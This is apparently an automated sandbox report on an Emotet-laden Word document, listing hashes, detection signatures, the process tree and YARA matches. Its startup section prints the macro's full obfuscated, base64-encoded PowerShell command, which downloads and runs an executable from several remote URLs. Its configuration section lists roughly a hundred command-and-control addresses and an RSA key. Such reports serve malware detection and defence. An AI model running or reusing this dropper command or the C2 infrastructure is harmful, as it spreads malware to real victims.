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Analysis Report MK8608665816AJ.doc

Overview

General Information

Sample Name:MK8608665816AJ.doc
Analysis ID:289419
MD5:5e52732370183fca294fe6469bdc6200
SHA1:d185a1592fa3d78d30759854f113bdb2ddcaba67
SHA256:a71d3dae8594c0336d66e366a3911fe4f349966e73fcb6c5fc9ed3077c8fcb6c
Tags:Heodo

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet
Creates processes via WMI
Drops executables to the windows directory (C:\Windows) and starts them
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for sample
PowerShell case anomaly found
Powershell drops PE file
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains capabilities to detect virtual machines
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate running services
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2032 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • powershell.exe (PID: 2312 cmdline: POWeRsHeLL -ENCOD JABVAGoAeQB4AHIAcQBlAD0AKAAnAEYAcAAnACsAKAAnAHIAJwArACcAZwBlACcAKQArACcAcAB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBGAGkATABlAFwAcwA0AFgAZAAwADIAMABcAFMAZQBNAFcANABwAHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAYABVAHIASQB0AHkAYABwAHIATwBUAE8AYABjAGAATwBsACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAnACsAJwAyACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAMQAxACcAKQArACcALAAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQATgBoAGQAZABpADYAZgAgAD0AIAAoACgAJwBCAHgAJwArACcAcABhACcAKQArACcAMQAnACsAKAAnAHoAJwArACcAeAA2ACcAKQApADsAJABTAGUAcAB5ADgAawBkAD0AKAAoACcAWgAnACsAJwBrAF8AZwAnACkAKwAnAHQAeQAnACsAJwBqACcAKQA7ACQAUABkADgANQB1AGEAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQBTADQAJwArACcAeABkADAAMgAwAHsAMAAnACsAJwB9AFMAJwArACgAJwBlAG0AdwAnACsAJwA0ACcAKQArACcAcAAnACsAJwBxAHsAMAB9ACcAKQAgACAALQBGACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAE4AaABkAGQAaQA2AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoANwB0AGoANABkAGsAPQAoACgAJwBVAHUAJwArACcAZgBfACcAKQArACgAJwBxAG8AJwArACcAZQAnACkAKQA7ACQATAB2ADUAawAxAG4AawA9ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBDAGwAaQBFAE4AVAA7ACQASAAyAHMAXwBuAGgAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvACcAKwAoACcAZwAnACsAJwB1AGkAJwApACsAJwB0AGEAJwArACcAcgAnACsAKAAnAHMAJwArACcAZgBvACcAKQArACgAJwByAGkAJwArACcAcwAnACkAKwAnAHIAJwArACcAYQBlACcAKwAoACcAbAAnACsAJwAuAG8AJwApACsAKAAnAHIAJwArACcAZwAvAFEAUAAnACsAJwBPAFUAJwApACsAJwBVAFkAJwArACgAJwB4ACcAKwAnAEwAQgBrACcAKQArACcALwAxACcAKwAoACcAbgBwAHIAJwArACcAZwBmACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBzAGEAZAAnACsAJwBhAG4AYQAnACkAKwAnAG4AJwArACcAZAAnACsAKAAnAHAAdgAnACsAJwBjACcAKQArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AdAAnACsAJwB3ACcAKwAnAGkAdAAnACkAKwAoACcAdABlAHIAJwArACcALwBCACcAKQArACgAJwBzACcAKwAnAHMAWAAnACsAJwBCAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8ALwBoAGUAbABwACcAKwAnAC0AbQAyAGMALgAnACsAJwBlACcAKwAnAGMAJwArACcAYwBhAG4AZwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwBwACcAKwAnAHMAJwApACsAKAAnAGUAJwArACcAbwB2AGMAawAyACcAKQArACgAJwA3AGsAJwArACcAcgAnACkAKwAoACcALwBUACcAKwAnAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHkAbwAnACsAJwB1AHQAdQBiACcAKwAnAGUALQBtAG8AbgBlAHQAaQAnACkAKwAnAHoAYQAnACsAJwB0AGkAJwArACgAJwBvAG4AJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAcQByAG4AcwAnACsAJwBwAC8AMgAnACkAKwAnAHYAJwArACcALwAnACsAKAAnACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AYQAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGcAJwArACcAaQBuAHQAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBhAGwAZgBhACcAKwAnAGMAJwArACcAZwAnACkAKwAoACcAaQBhAHAAaQAvACcAKwAnAGoAZwAnACkAKwAoACcAMQBWACcAKwAnAFUAJwApACsAJwBhAGUAJwArACgAJwAvACcAKwAnACoAaAB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AaAAnACsAJwBlAGwAaQBvAG4AcwAnACkAKwAoACcAcABoACcAKwAnAGEAcgAnACkAKwAnAG0AJwArACgAJwBhAGMAZQAnACsAJwB1AHQAaQBjAGEAJwApACsAKAAnAGwALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwApACsAJwBYACcAKwAoACcAZwAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAGgAYQAnACkAKwAoACcAbgB1AGwAbQAnACsAJwBvACcAKQArACgAJwB0AG8AJwArACcAcgBzAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAbgBiACcAKQArACcAcQAnACsAKAAnAHMAJwArACcAbwAvACcAKQArACgAJwBIADAAJwArACcARABkAE8AeQAnACsAJwBCAC8AJwApACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQB0ADMAbQB6AHcAbAA9ACgAKAAnAEoAJwArACcAcABlAGUAJwArACcAdgBuACcAKQArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABLAGgAMgBlADQAbQAzACAAaQBuACAAJABIADIAcwBfAG4AaAB0ACkAewB0AHIAeQB7ACQATAB2ADUAawAxAG4AawAuACIARABgAE8AVwBuAGwAbwBBAGAAZABGAGkAYABMAEUAIgAoACQASwBoADIAZQA0AG0AMwAsACAAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEUAbQBuADUAZAB2AGwAPQAoACgAJwBWACcAKwAnADcANwAnACkAKwAnAG0AZQAnACsAJwBlAGsAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFAAZAA4ADUAdQBhAHQAKQAuACIAbABgAGUATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgAyADkAOAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABQAGQAOAA1AHUAYQB0ACkAOwAkAEoAbgBhADgAOQBfADIAPQAoACgAJwBLADcAJwArACcAbgAnACkAKwAoACcAXwBnAF8AJwArACcAcAAnACkAKQA7AGIAcgBlAGEAawA7ACQARQA1AGUAYQBsAHQAaQA9ACgAKAAnAEUAcwAnACsAJwA1ADIAMABfACcAKQArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AMABoAF8AdABjAGkAPQAoACgAJwBQAGoAJwArACcAegB6ACcAKQArACgAJwAwAHcAJwArACcAeQAnACkAKQA= MD5: 852D67A27E454BD389FA7F02A8CBE23F)
    • Bxpa1zx6.exe (PID: 2444 cmdline: 'C:\Users\user\S4xd020\Semw4pq\Bxpa1zx6.exe' MD5: 45981EC89DD35E36CE02250B9B9FE10B)
      • diskcopy.exe (PID: 2288 cmdline: C:\Windows\SysWOW64\KBDTH1\diskcopy.exe MD5: 45981EC89DD35E36CE02250B9B9FE10B)
  • cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["174.106.122.139:80", "159.203.116.47:8080", "173.249.6.108:443", "104.236.246.93:8080", "174.45.13.118:80", "137.59.187.107:8080", "94.200.114.161:80", "37.187.72.193:8080", "67.10.155.92:80", "121.124.124.40:7080", "24.43.99.75:80", "75.139.38.211:80", "109.74.5.95:8080", "137.119.36.33:80", "74.134.41.124:80", "66.65.136.14:80", "94.1.108.190:443", "181.169.235.7:80", "79.137.83.50:443", "104.131.44.150:8080", "121.7.127.163:80", "96.249.236.156:443", "120.150.60.189:80", "134.209.36.254:8080", "110.145.77.103:80", "118.83.154.64:443", "71.72.196.159:80", "50.91.114.38:80", "62.75.141.82:80", "157.245.99.39:8080", "140.186.212.146:80", "168.235.67.138:7080", "104.131.11.150:443", "78.24.219.147:8080", "46.105.131.79:8080", "104.251.33.179:80", "24.43.32.186:80", "200.114.213.233:8080", "153.137.36.142:80", "85.96.199.93:80", "94.23.237.171:443", "5.39.91.110:7080", "85.152.162.105:80", "162.241.242.173:8080", "213.196.135.145:80", "139.99.158.11:443", "194.187.133.160:443", "78.187.156.31:80", "1.221.254.82:80", "124.41.215.226:80", "139.130.242.43:80", "209.141.54.221:8080", "87.106.136.232:8080", "83.169.36.251:8080", "195.7.12.8:80", "185.94.252.104:443", "95.213.236.64:8080", "42.200.107.142:80", "203.153.216.189:7080", "68.188.112.97:80", "5.196.74.210:8080", "87.106.139.101:8080", "104.32.141.43:80", "94.124.59.22:8080", "74.219.172.26:80", "108.46.29.236:80", "93.147.212.206:80", "172.104.97.173:8080", "190.240.194.77:443", "103.86.49.11:8080", "74.208.45.104:8080", "82.80.155.43:80", "61.19.246.238:443", "139.162.108.71:8080", "121.7.31.214:80", "188.219.31.12:80", "37.139.21.175:8080", "181.169.34.190:80", "219.74.18.66:443", "123.176.25.234:80", "216.139.123.119:80", "79.98.24.39:8080", "62.30.7.67:443", "139.162.60.124:8080", "176.111.60.55:8080", "91.211.88.52:7080", "172.91.208.86:80", "139.59.60.244:8080", "107.5.122.110:80", "50.35.17.13:80", "97.82.79.83:80", "68.252.26.78:80", "110.142.236.207:80", "47.144.21.12:443", "24.137.76.62:80", "220.245.198.194:80", "74.120.55.163:80", "24.179.13.119:80", "113.61.66.94:80", "174.106.122.139:80", "159.203.116.47:8080", "173.249.6.108:443", "104.236.246.93:8080", "174.45.13.118:80", "137.59.187.107:8080", "94.200.114.161:80", "37.187.72.193:8080", "67.10.155.92:80", "121.124.124.40:7080", "24.43.99.75:80", "75.139.38.211:80", "109.74.5.95:8080", "137.119.36.33:80", "74.134.41.124:80", "66.65.136.14:80", "94.1.108.190:443", "181.169.235.7:80", "79.137.83.50:443", "104.131.44.150:8080", "121.7.127.163:80", "96.249.236.156:443", "120.150.60.189:80", "134.209.36.254:8080", "110.145.77.103:80", "118.83.154.64:443", "71.72.196.159:80", "50.91.114.38:80", "62.75.141.82:80", "157.245.99.39:8080", "140.186.212.146:80", "168.235.67.138:7080", "104.131.11.150:443", "78.24.219.147:8080", "46.105.131.79:8080", "104.251.33.179:80", "24.43.32.186:80", "200.114.213.233:8080", "153.137.36.142:80", "85.96.199.93:80", "94.23.237.171:443", "5.39.91.110:7080", "85.152.162.105:80", "162.241.242.173:8080", "213.196.135.145:80", "139.99.158.11:443", "194.187.133.160:443", "78.187.156.31:80", "1.221.254.82:80", "124.41.215.226:80", "139.130.242.43:80", "209.141.54.221:8080", "87.106.136.232:8080", "83.169.36.251:8080", "195.7.12.8:80", "185.94.252.104:443", "95.213.236.64:8080", "42.200.107.142:80", "203.153.216.189:7080", "68.188.112.97:80", "5.196.74.210:8080", "87.106.139.101:8080", "104.32.141.43:80", "94.124.59.22:8080", "74.219.172.26:80", "108.46.29.236:80", "93.147.212.206:80", "172.104.97.173:8080", "190.240.194.77:443", "103.86.49.11:8080", "74.208.45.104:8080", "82.80.155.43:80", "61.19.246.238:443", "139.162.108.71:8080", "121.7.31.214:80", "188.219.31.12:80", "37.139.21.175:8080", "181.169.34.190:80", "219.74.18.66:443", "123.176.25.234:80", "216.139.123.119:80", "79.98.24.39:8080", "62.30.7.67:443", "139.162.60.124:8080", "176.111.60.55:8080", "91.211.88.52:7080", "172.91.208.86:80", "139.59.60.244:8080", "107.5.122.110:80", "50.35.17.13:80", "97.82.79.83:80", "68.252.26.78:80", "110.142.236.207:80", "47.144.21.12:443", "24.137.76.62:80", "220.245.198.194:80", "74.120.55.163:80", "24.179.13.119:80", "113.61.66.94:80"], "RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhANQOcBKvh5xEW7VcJ9totsjdBwuAclxS\nQ0e09fk8V053lktpW3TRrzAW63yt6j1KWnyxMrU3igFXypBoI4lVNmkje4UPtIIS\nfkzjEIvG1v/ZNn1k0J0PfFTxbFFeUEs3AwIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2100452666.0000000000274000.00000004.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000004.00000002.2100424735.0000000000260000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000005.00000002.2346444718.0000000000234000.00000004.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        00000005.00000002.2346420831.0000000000220000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000004.00000002.2100477823.0000000000391000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 2 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            4.2.Bxpa1zx6.exe.390000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              5.2.diskcopy.exe.250000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security

                Sigma Overview

                No Sigma rule has matched

                Signature Overview

                Click to jump to signature section

                Show All Signature Results

                AV Detection:

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